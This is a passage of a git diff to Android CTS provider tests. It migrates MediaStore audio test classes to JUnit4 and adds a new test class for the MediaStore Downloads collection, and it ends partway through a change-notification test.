+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_AlbumsTest.java
@@ -16,10 +16,15 @@
package android.provider.cts;
-import android.provider.cts.R;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
import android.content.ContentResolver;
import android.content.ContentValues;
+import android.content.Context;
import android.content.res.AssetFileDescriptor;
import android.database.Cursor;
import android.net.Uri;
@@ -29,23 +34,28 @@
import android.provider.MediaStore.Audio.Media;
import android.provider.cts.MediaStoreAudioTestHelper.Audio1;
import android.provider.cts.MediaStoreAudioTestHelper.Audio2;
-import android.test.AndroidTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
-import com.android.compatibility.common.util.FileCopyHelper;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
import java.io.File;
import java.io.FileNotFoundException;
-public class MediaStore_Audio_AlbumsTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class MediaStore_Audio_AlbumsTest {
+ private Context mContext;
private ContentResolver mContentResolver;
- @Override
- protected void setUp() throws Exception {
- super.setUp();
-
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getTargetContext();
mContentResolver = mContext.getContentResolver();
}
+ @Test
public void testGetContentUri() {
Cursor c = null;
assertNotNull(c = mContentResolver.query(
@@ -62,15 +72,17 @@
assertNull(mContentResolver.query(Albums.getContentUri(volume), null, null, null, null));
}
+ @Test
public void testStoreAudioAlbumsInternal() {
- testStoreAudioAlbums(true);
+ doStoreAudioAlbums(true);
}
+ @Test
public void testStoreAudioAlbumsExternal() {
- testStoreAudioAlbums(false);
+ doStoreAudioAlbums(false);
}
- private void testStoreAudioAlbums(boolean isInternal) {
+ private void doStoreAudioAlbums(boolean isInternal) {
// do not support direct insert operation of the albums
Uri audioAlbumsUri = isInternal? Albums.INTERNAL_CONTENT_URI : Albums.EXTERNAL_CONTENT_URI;
try {
@@ -161,15 +173,15 @@
c.close();
}
+ @Test
public void testAlbumArt() {
File path = new File(Environment.getExternalStorageDirectory()
+ "/test" + System.currentTimeMillis() + ".mp3");
Uri uri = null;
try {
- FileCopyHelper copier = new FileCopyHelper(mContext);
File dir = path.getParentFile();
dir.mkdirs();
- copier.copyToExternalStorage(R.raw.testmp3, path);
+ ProviderTestUtils.stageFile(R.raw.testmp3, path);
ContentValues v = new ContentValues();
v.put(Media.DATA, path.getAbsolutePath());
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_ArtistsTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_ArtistsTest.java
index 9fe31c5..9f923e5 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_ArtistsTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_ArtistsTest.java
@@ -16,26 +16,39 @@
package android.provider.cts;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
import android.content.ContentResolver;
import android.content.ContentValues;
+import android.content.Context;
import android.database.Cursor;
import android.net.Uri;
import android.provider.MediaStore.Audio.Artists;
import android.provider.cts.MediaStoreAudioTestHelper.Audio1;
import android.provider.cts.MediaStoreAudioTestHelper.Audio2;
-import android.test.InstrumentationTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
-public class MediaStore_Audio_ArtistsTest extends InstrumentationTestCase {
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class MediaStore_Audio_ArtistsTest {
+ private Context mContext;
private ContentResolver mContentResolver;
- @Override
- protected void setUp() throws Exception {
- super.setUp();
-
- mContentResolver = getInstrumentation().getContext().getContentResolver();
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getTargetContext();
+ mContentResolver = mContext.getContentResolver();
}
+ @Test
public void testGetContentUri() {
Cursor c = null;
assertNotNull(c = mContentResolver.query(
@@ -52,15 +65,17 @@
assertNull(mContentResolver.query(Artists.getContentUri(volume), null, null, null, null));
}
+ @Test
public void testStoreAudioArtistsInternal() {
- testStoreAudioArtists(true);
+ doStoreAudioArtists(true);
}
+ @Test
public void testStoreAudioArtistsExternal() {
- testStoreAudioArtists(false);
+ doStoreAudioArtists(false);
}
- private void testStoreAudioArtists(boolean isInternal) {
+ private void doStoreAudioArtists(boolean isInternal) {
Uri artistsUri = isInternal ? Artists.INTERNAL_CONTENT_URI : Artists.EXTERNAL_CONTENT_URI;
// do not support insert operation of the artists
try {
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_Artists_AlbumsTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_Artists_AlbumsTest.java
index 72d9067..3b5282d 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_Artists_AlbumsTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_Artists_AlbumsTest.java
@@ -16,28 +16,40 @@
package android.provider.cts;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.fail;
import android.content.ContentResolver;
import android.content.ContentValues;
+import android.content.Context;
import android.database.Cursor;
import android.net.Uri;
import android.provider.MediaStore;
-import android.provider.MediaStore.Audio.Media;
import android.provider.MediaStore.Audio.Artists.Albums;
+import android.provider.MediaStore.Audio.Media;
import android.provider.cts.MediaStoreAudioTestHelper.Audio1;
import android.provider.cts.MediaStoreAudioTestHelper.Audio2;
-import android.test.InstrumentationTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
-public class MediaStore_Audio_Artists_AlbumsTest extends InstrumentationTestCase {
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class MediaStore_Audio_Artists_AlbumsTest {
+ private Context mContext;
private ContentResolver mContentResolver;
- @Override
- protected void setUp() throws Exception {
- super.setUp();
-
- mContentResolver = getInstrumentation().getContext().getContentResolver();
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getTargetContext();
+ mContentResolver = mContext.getContentResolver();
}
+ @Test
public void testGetContentUri() {
Cursor c = null;
Uri contentUri = MediaStore.Audio.Artists.Albums.getContentUri(
@@ -56,15 +68,17 @@
null, null, null, null));
}
+ @Test
public void testStoreAudioArtistsAlbumsInternal() {
- testStoreAudioArtistsAlbums(true);
+ doStoreAudioArtistsAlbums(true);
}
+ @Test
public void testStoreAudioArtistsAlbumsExternal() {
- testStoreAudioArtistsAlbums(false);
+ doStoreAudioArtistsAlbums(false);
}
- private void testStoreAudioArtistsAlbums(boolean isInternal) {
+ private void doStoreAudioArtistsAlbums(boolean isInternal) {
// the album item is inserted when inserting audio media
Uri audioMediaUri = isInternal ? Audio1.getInstance().insertToInternal(mContentResolver)
: Audio1.getInstance().insertToExternal(mContentResolver);
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_GenresTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_GenresTest.java
index 8d41b38..bc7bd95 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_GenresTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_GenresTest.java
@@ -16,28 +16,43 @@
package android.provider.cts;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
import android.content.ContentResolver;
import android.content.ContentUris;
import android.content.ContentValues;
+import android.content.Context;
import android.database.Cursor;
import android.database.SQLException;
import android.net.Uri;
import android.provider.MediaStore.Audio.Genres;
-import android.provider.MediaStore.Audio.Media;
import android.provider.MediaStore.Audio.Genres.Members;
+import android.provider.MediaStore.Audio.Media;
import android.provider.cts.MediaStoreAudioTestHelper.Audio1;
-import android.test.InstrumentationTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
-public class MediaStore_Audio_GenresTest extends InstrumentationTestCase {
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class MediaStore_Audio_GenresTest {
+ private Context mContext;
private ContentResolver mContentResolver;
- @Override
- protected void setUp() throws Exception {
- super.setUp();
-
- mContentResolver = getInstrumentation().getContext().getContentResolver();
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getTargetContext();
+ mContentResolver = mContext.getContentResolver();
}
+ @Test
public void testGetContentUri() {
Cursor c = null;
assertNotNull(c = mContentResolver.query(
@@ -59,6 +74,7 @@
assertNull(mContentResolver.query(Genres.getContentUri(volume), null, null, null, null));
}
+ @Test
public void testStoreAudioGenresExternal() {
// insert
ContentValues values = new ContentValues();
@@ -88,6 +104,7 @@
}
}
+ @Test
public void testStoreAudioGenresInternal() {
// the internal database does not have genres
ContentValues values = new ContentValues();
@@ -96,6 +113,7 @@
assertNull(uri);
}
+ @Test
public void testGetContentUriForAudioId() {
// Insert an audio file into the content provider.
ContentValues values = Audio1.getInstance().getContentValues(true);
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_Genres_MembersTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_Genres_MembersTest.java
index 4073016..b9f10d8 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_Genres_MembersTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_Genres_MembersTest.java
@@ -16,31 +16,42 @@
package android.provider.cts;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
import android.content.ContentResolver;
import android.content.ContentValues;
+import android.content.Context;
import android.database.Cursor;
import android.database.SQLException;
import android.net.Uri;
import android.provider.MediaStore.Audio.Genres;
-import android.provider.MediaStore.Audio.Media;
import android.provider.MediaStore.Audio.Genres.Members;
+import android.provider.MediaStore.Audio.Media;
import android.provider.cts.MediaStoreAudioTestHelper.Audio1;
import android.provider.cts.MediaStoreAudioTestHelper.Audio2;
-import android.test.InstrumentationTestCase;
+import android.support.test.InstrumentationRegistry;
-public class MediaStore_Audio_Genres_MembersTest extends InstrumentationTestCase {
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+public class MediaStore_Audio_Genres_MembersTest {
+ private Context mContext;
private ContentResolver mContentResolver;
private long mAudioIdOfJam;
private long mAudioIdOfJamLive;
- @Override
- protected void setUp() throws Exception {
- super.setUp();
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getTargetContext();
+ mContentResolver = mContext.getContentResolver();
- mContentResolver = getInstrumentation().getContext().getContentResolver();
Uri uri = Audio1.getInstance().insertToExternal(mContentResolver);
Cursor c = mContentResolver.query(uri, null, null, null, null);
c.moveToFirst();
@@ -54,16 +65,16 @@
c.close();
}
- @Override
- protected void tearDown() throws Exception {
+ @After
+ public void tearDown() throws Exception {
// "jam" should already have been deleted as part of the test, but delete it again just
// in case the test failed and aborted before that.
mContentResolver.delete(Media.EXTERNAL_CONTENT_URI, Media._ID + "=" + mAudioIdOfJam, null);
mContentResolver.delete(Media.EXTERNAL_CONTENT_URI, Media._ID + "=" + mAudioIdOfJamLive,
null);
- super.tearDown();
}
+ @Test
public void testGetContentUri() {
Cursor c = null;
assertNotNull(c = mContentResolver.query(
@@ -87,6 +98,7 @@
null));
}
+ @Test
public void testStoreAudioGenresMembersExternal() {
ContentValues values = new ContentValues();
values.put(Genres.NAME, Audio1.GENRE);
@@ -292,6 +304,7 @@
}
}
+ @Test
public void testStoreAudioGenresMembersInternal() {
// the internal database can not have genres
ContentValues values = new ContentValues();
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_MediaTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_MediaTest.java
index 82c2342..98fa5fc 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_MediaTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_MediaTest.java
@@ -16,27 +16,40 @@
package android.provider.cts;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
import android.content.ContentResolver;
import android.content.ContentValues;
+import android.content.Context;
import android.database.Cursor;
import android.net.Uri;
import android.os.Environment;
import android.provider.MediaStore.Audio.Media;
import android.provider.cts.MediaStoreAudioTestHelper.Audio1;
import android.provider.cts.MediaStoreAudioTestHelper.Audio2;
-import android.test.InstrumentationTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
-public class MediaStore_Audio_MediaTest extends InstrumentationTestCase {
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class MediaStore_Audio_MediaTest {
+ private Context mContext;
private ContentResolver mContentResolver;
- @Override
- protected void setUp() throws Exception {
- super.setUp();
-
- mContentResolver = getInstrumentation().getContext().getContentResolver();
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getTargetContext();
+ mContentResolver = mContext.getContentResolver();
}
+ @Test
public void testGetContentUri() {
Cursor c = null;
assertNotNull(c = mContentResolver.query(
@@ -53,6 +66,7 @@
assertNull(mContentResolver.query(Media.getContentUri(volume), null, null, null, null));
}
+ @Test
public void testGetContentUriForPath() {
Cursor c = null;
String externalPath = Environment.getExternalStorageDirectory().getPath();
@@ -60,22 +74,23 @@
null, null));
c.close();
- String internalPath =
- getInstrumentation().getTargetContext().getFilesDir().getAbsolutePath();
+ String internalPath = mContext.getFilesDir().getAbsolutePath();
assertNotNull(c = mContentResolver.query(Media.getContentUriForPath(internalPath), null, null,
null, null));
c.close();
}
+ @Test
public void testStoreAudioMediaInternal() {
- testStoreAudioMedia(true);
+ doStoreAudioMedia(true);
}
+ @Test
public void testStoreAudioMediaExternal() {
- testStoreAudioMedia(false);
+ doStoreAudioMedia(false);
}
- private void testStoreAudioMedia(boolean isInternal) {
+ private void doStoreAudioMedia(boolean isInternal) {
Audio1 audio1 = Audio1.getInstance();
ContentValues values = audio1.getContentValues(isInternal);
//insert
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_PlaylistsTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_PlaylistsTest.java
index 463dfcb..a14ba3e 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_PlaylistsTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_PlaylistsTest.java
@@ -16,28 +16,41 @@
package android.provider.cts;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
import android.content.ContentResolver;
import android.content.ContentValues;
+import android.content.Context;
import android.database.Cursor;
import android.database.SQLException;
import android.net.Uri;
import android.os.Environment;
import android.provider.MediaStore.Audio.Playlists;
-import android.test.InstrumentationTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
import java.util.regex.Pattern;
-public class MediaStore_Audio_PlaylistsTest extends InstrumentationTestCase {
+@RunWith(AndroidJUnit4.class)
+public class MediaStore_Audio_PlaylistsTest {
+ private Context mContext;
private ContentResolver mContentResolver;
- @Override
- protected void setUp() throws Exception {
- super.setUp();
-
- mContentResolver = getInstrumentation().getContext().getContentResolver();
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getTargetContext();
+ mContentResolver = mContext.getContentResolver();
}
+ @Test
public void testGetContentUri() {
Cursor c = null;
assertNotNull(c = mContentResolver.query(
@@ -61,6 +74,7 @@
null));
}
+ @Test
public void testStoreAudioPlaylistsExternal() {
final String externalPlaylistPath = Environment.getExternalStorageDirectory().getPath() +
"/my_favorites.pl";
@@ -109,6 +123,7 @@
}
}
+ @Test
public void testStoreAudioPlaylistsInternal() {
ContentValues values = new ContentValues();
values.put(Playlists.NAME, "My favourites");
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_Playlists_MembersTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_Playlists_MembersTest.java
index cc69942..2adde5c 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_Playlists_MembersTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_Playlists_MembersTest.java
@@ -16,9 +16,14 @@
package android.provider.cts;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
import android.content.ContentResolver;
import android.content.ContentValues;
+import android.content.Context;
import android.database.Cursor;
import android.net.Uri;
import android.provider.MediaStore;
@@ -31,11 +36,18 @@
import android.provider.cts.MediaStoreAudioTestHelper.Audio4;
import android.provider.cts.MediaStoreAudioTestHelper.Audio5;
import android.provider.cts.MediaStoreAudioTestHelper.MockAudioMediaInfo;
-import android.test.InstrumentationTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
import java.util.regex.Pattern;
-public class MediaStore_Audio_Playlists_MembersTest extends InstrumentationTestCase {
+@RunWith(AndroidJUnit4.class)
+public class MediaStore_Audio_Playlists_MembersTest {
private String[] mAudioProjection = {
Members._ID,
Members.ALBUM,
@@ -93,6 +105,7 @@
Members.YEAR,
};
+ private Context mContext;
private ContentResolver mContentResolver;
private long mIdOfAudio1;
@@ -110,11 +123,11 @@
return id;
}
- @Override
- protected void setUp() throws Exception {
- super.setUp();
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getTargetContext();
+ mContentResolver = mContext.getContentResolver();
- mContentResolver = getInstrumentation().getContext().getContentResolver();
mIdOfAudio1 = insertAudioItem(Audio1.getInstance());
mIdOfAudio2 = insertAudioItem(Audio2.getInstance());
mIdOfAudio3 = insertAudioItem(Audio3.getInstance());
@@ -122,16 +135,16 @@
mIdOfAudio5 = insertAudioItem(Audio5.getInstance());
}
- @Override
- protected void tearDown() throws Exception {
+ @After
+ public void tearDown() throws Exception {
mContentResolver.delete(Media.EXTERNAL_CONTENT_URI, Media._ID + "=" + mIdOfAudio1, null);
mContentResolver.delete(Media.EXTERNAL_CONTENT_URI, Media._ID + "=" + mIdOfAudio2, null);
mContentResolver.delete(Media.EXTERNAL_CONTENT_URI, Media._ID + "=" + mIdOfAudio3, null);
mContentResolver.delete(Media.EXTERNAL_CONTENT_URI, Media._ID + "=" + mIdOfAudio4, null);
mContentResolver.delete(Media.EXTERNAL_CONTENT_URI, Media._ID + "=" + mIdOfAudio5, null);
- super.tearDown();
}
+ @Test
public void testGetContentUri() {
assertEquals("content://media/external/audio/playlists/1337/members",
Members.getContentUri("external", 1337).toString());
@@ -182,6 +195,7 @@
c.close();
}
+ @Test
public void testStoreAudioPlaylistsMembersExternal() {
ContentValues values = new ContentValues();
values.put(Playlists.NAME, "My favourites");
@@ -451,6 +465,7 @@
}
}
+ @Test
public void testStoreAudioPlaylistsMembersInternal() {
ContentValues values = new ContentValues();
values.put(Playlists.NAME, "My favourites");
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_DownloadsTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_DownloadsTest.java
new file mode 100644
index 0000000..63e62c7
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_DownloadsTest.java
@@ -0,0 +1,350 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+
+import android.content.ContentResolver;
+import android.content.ContentUris;
+import android.content.ContentValues;
+import android.content.Context;
+import android.database.ContentObserver;
+import android.database.Cursor;
+import android.media.MediaScannerConnection;
+import android.net.Uri;
+import android.os.Environment;
+import android.os.FileUtils;
+import android.provider.MediaStore;
+import android.provider.MediaStore.Downloads;
+import android.provider.MediaStore.Images;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.Log;
+
+import libcore.io.IoUtils;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.io.PrintWriter;
+import java.security.DigestInputStream;
+import java.security.MessageDigest;
+import java.util.ArrayList;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class MediaStore_DownloadsTest {
+ private static final String TAG = MediaStore_DownloadsTest.class.getSimpleName();
+ private static final long SCAN_TIMEOUT_MILLIS = 4000;
+ private static final long NOTIFY_TIMEOUT_MILLIS = 4000;
+
+ private Context mContext;
+ private ContentResolver mContentResolver;
+ private File mDownloadsDir;
+ private File mPicturesDir;
+ private ArrayList<Uri> mAddedUris;
+ private final Uri mExternalDownloads = Downloads.EXTERNAL_CONTENT_URI;
+ private CountDownLatch mCountDownLatch;
+ private int mInitialDownloadsCount;
+
+ @Before
+ public void setUp() {
+ mContext = InstrumentationRegistry.getTargetContext();
+ mContentResolver = mContext.getContentResolver();
+ mDownloadsDir = Environment.getExternalStoragePublicDirectory(
+ Environment.DIRECTORY_DOWNLOADS);
+ mPicturesDir = Environment.getExternalStoragePublicDirectory(
+ Environment.DIRECTORY_PICTURES);
+ mDownloadsDir.mkdir();
+ mPicturesDir.mkdir();
+ mAddedUris = new ArrayList<>();
+ mInitialDownloadsCount = getInitialDownloadsCount();
+ }
+
+ @After
+ public void tearDown() {
+ for (Uri uri : mAddedUris) {
+ mContentResolver.delete(uri, null, null);
+ }
+ }
+
+ @Test
+ public void testScannedDownload() throws Exception {
+ final File downloadFile = new File(mDownloadsDir, "colors.txt");
+ downloadFile.createNewFile();
+ final String fileContents = "RED;GREEN;BLUE";
+ try (final PrintWriter pw = new PrintWriter(downloadFile)) {
+ pw.print(fileContents);
+ }
+ verifyScannedDownload(downloadFile);
+ }
+
+ @Test
+ public void testScannedMediaDownload() throws Exception {
+ final File downloadFile = new File(mDownloadsDir, "scenery.png");
+ downloadFile.createNewFile();
+ try (InputStream in = mContext.getResources().openRawResource(R.raw.scenery);
+ OutputStream out = new FileOutputStream(downloadFile)) {
+ FileUtils.copy(in, out);
+ }
+ verifyScannedDownload(downloadFile);
+ }
+
+ @Test
+ public void testGetContentUri() throws Exception {
+ Cursor c;
+ assertNotNull(c = mContentResolver.query(Downloads.INTERNAL_CONTENT_URI,
+ null, null, null, null));
+ c.close();
+ assertNotNull(c = mContentResolver.query(Downloads.EXTERNAL_CONTENT_URI,
+ null, null, null, null));
+ c.close();
+
+ // can not accept any other volume names
+ final String volume = "faveVolume";
+ assertNull(mContentResolver.query(Downloads.getContentUri(volume),
+ null, null, null, null));
+ }
+
+ @Test
+ public void testMediaInDownloadsDir() throws Exception {
+ final String displayName = "cts" + System.nanoTime();
+ final Uri insertUri = insertImage(displayName, "test image",
+ new File(mDownloadsDir, "scenery.jpg"), "image/jpeg", R.raw.scenery);
+ final String displayName2 = "cts" + System.nanoTime();
+ final Uri insertUri2 = insertImage(displayName2, "test image2",
+ new File(mPicturesDir, "volantis.jpg"), "image/jpeg", R.raw.volantis);
+
+ try (Cursor cursor = mContentResolver.query(Downloads.EXTERNAL_CONTENT_URI,
+ null, "title LIKE ?1", new String[] { displayName }, null)) {
+ assertEquals(1, cursor.getCount());
+ cursor.moveToNext();
+ assertEquals("image/jpeg",
+ cursor.getString(cursor.getColumnIndex(Images.Media.MIME_TYPE)));
+ }
+
+ assertEquals(1, mContentResolver.delete(insertUri, null, null));
+ mAddedUris.remove(insertUri);
+ try (Cursor cursor = mContentResolver.query(Downloads.EXTERNAL_CONTENT_URI,
+ null, null, null, null)) {
+ assertEquals(mInitialDownloadsCount, cursor.getCount());
+ }
+ }
+
+ @Test
+ public void testUpdateDownload() throws Exception {
+ final String displayName = "cts" + System.nanoTime();
+ final MediaStore.PendingParams params = new MediaStore.PendingParams(
+ Downloads.EXTERNAL_CONTENT_URI, displayName, "video/3gp");
+ final Uri downloadUri = Uri.parse("https://www.android.com/download?file=testvideo.3gp");
+ params.setDownloadUri(downloadUri);
+
+ final Uri pendingUri = MediaStore.createPending(mContext, params);
+ assertNotNull(pendingUri);
+ mAddedUris.add(pendingUri);
+ final Uri publishUri;
+ final MediaStore.PendingSession session = MediaStore.openPending(mContext, pendingUri);
+ try {
+ try (InputStream in = mContext.getResources().openRawResource(R.raw.testvideo);
+ OutputStream out = session.openOutputStream()) {
+ android.os.FileUtils.copy(in, out);
+ }
+ publishUri = session.publish();
+ } finally {
+ IoUtils.closeQuietly(session);
+ }
+
+ final String newDisplayName = "cts" + System.nanoTime();
+ final ContentValues updateValues = new ContentValues();
+ updateValues.put(Downloads.DISPLAY_NAME, newDisplayName);
+ assertEquals(1, mContentResolver.update(publishUri, updateValues, null, null));
+
+ try (Cursor cursor = mContentResolver.query(Downloads.EXTERNAL_CONTENT_URI,
+ null, "_display_name LIKE ?1", new String[] { newDisplayName }, null)) {
+ assertEquals(1, cursor.getCount());
+ cursor.moveToNext();
+ assertEquals("video/3gp",
+ cursor.getString(cursor.getColumnIndex(Downloads.MIME_TYPE)));
+ assertEquals(downloadUri.toString(),
+ cursor.getString(cursor.getColumnIndex(Downloads.DOWNLOAD_URI)));
+ }
+ }
+
+ @Test
+ public void testDeleteDownload() throws Exception {
+ final String displayName = "cts" + System.nanoTime();
+ final MediaStore.PendingParams params = new MediaStore.PendingParams(
+ Downloads.EXTERNAL_CONTENT_URI, displayName, "video/3gp");
+ final Uri downloadUri = Uri.parse("https://www.android.com/download?file=testvideo.3gp");
+ params.setDownloadUri(downloadUri);
+
+ final Uri pendingUri = MediaStore.createPending(mContext, params);
+ assertNotNull(pendingUri);
+ mAddedUris.add(pendingUri);
+ final Uri publishUri;
+ final MediaStore.PendingSession session = MediaStore.openPending(mContext, pendingUri);
+ try {
+ try (InputStream in = mContext.getResources().openRawResource(R.raw.testvideo);
+ OutputStream out = session.openOutputStream()) {
+ android.os.FileUtils.copy(in, out);
+ }
+ publishUri = session.publish();
+ } finally {
+ IoUtils.closeQuietly(session);
+ }
+
+ assertEquals(1, mContentResolver.delete(publishUri, null, null));
+ try (Cursor cursor = mContentResolver.query(Downloads.EXTERNAL_CONTENT_URI,
+ null, null, null, null)) {
+ assertEquals(mInitialDownloadsCount, cursor.getCount());
+ }
+ }
+
+ @Test
+ public void testNotifyChange() throws Exception {
+ final ContentObserver observer = new ContentObserver(null) {
+ @Override
+ public void onChange(boolean selfChange, Uri uri) {
+ super.onChange(selfChange, uri);
+ mCountDownLatch.countDown();
+ }
+ };
+ mContentResolver.registerContentObserver(Downloads.EXTERNAL_CONTENT_URI, true, observer);
+ mContentResolver.registerContentObserver(MediaStore.AUTHORITY_URI, false, observer);
+ final Uri volumeUri = MediaStore.AUTHORITY_URI.buildUpon()
+ .appendPath(MediaStore.getVolumeName(Downloads.EXTERNAL_CONTENT_URI))
+ .build();
+ mContentResolver.registerContentObserver(volumeUri, false, observer);
+
+ mCountDownLatch = new CountDownLatch(1);
+ final String displayName = "cts" + System.nanoTime();
+ final MediaStore.PendingParams params = new MediaStore.PendingParams(
+ Downloads.EXTERNAL_CONTENT_URI, displayName, "video/3gp");
+ final Uri downloadUri = Uri.parse("https://www.android.com/download?file=testvideo.3gp");
+ params.setDownloadUri(downloadUri);
+ final Uri pendingUri = MediaStore.createPending(mContext, params);
+ assertNotNull(pendingUri);
+ mAddedUris.add(pendingUri);
+ final Uri publishUri;
+ final MediaStore.PendingSession session = MediaStore.openPending(mContext, pendingUri);
+ try {
+ try (InputStream in = mContext.getResources().openRawResource(R.raw.testvideo);
+ OutputStream out = session.openOutputStream()) {
+ android.os.FileUtils.copy(in, out);
+ }
+ publishUri = session.publish();
+ } finally {
+ IoUtils.closeQuietly(session);
+ }
+ mCountDownLatch.await(NOTIFY_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+
+ mCountDownLatch = new CountDownLatch(1);
+ final String newDisplayName = "cts" + System.nanoTime();
+ final ContentValues updateValues = new ContentValues();
+ updateValues.put(Downloads.DISPLAY_NAME, newDisplayName);
+ assertEquals(1, mContentResolver.update(publishUri, updateValues, null, null));
+ mCountDownLatch.await(NOTIFY_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+
+ mCountDownLatch = new CountDownLatch(1);
+ assertEquals(1, mContentResolver.delete(publishUri, null, null));
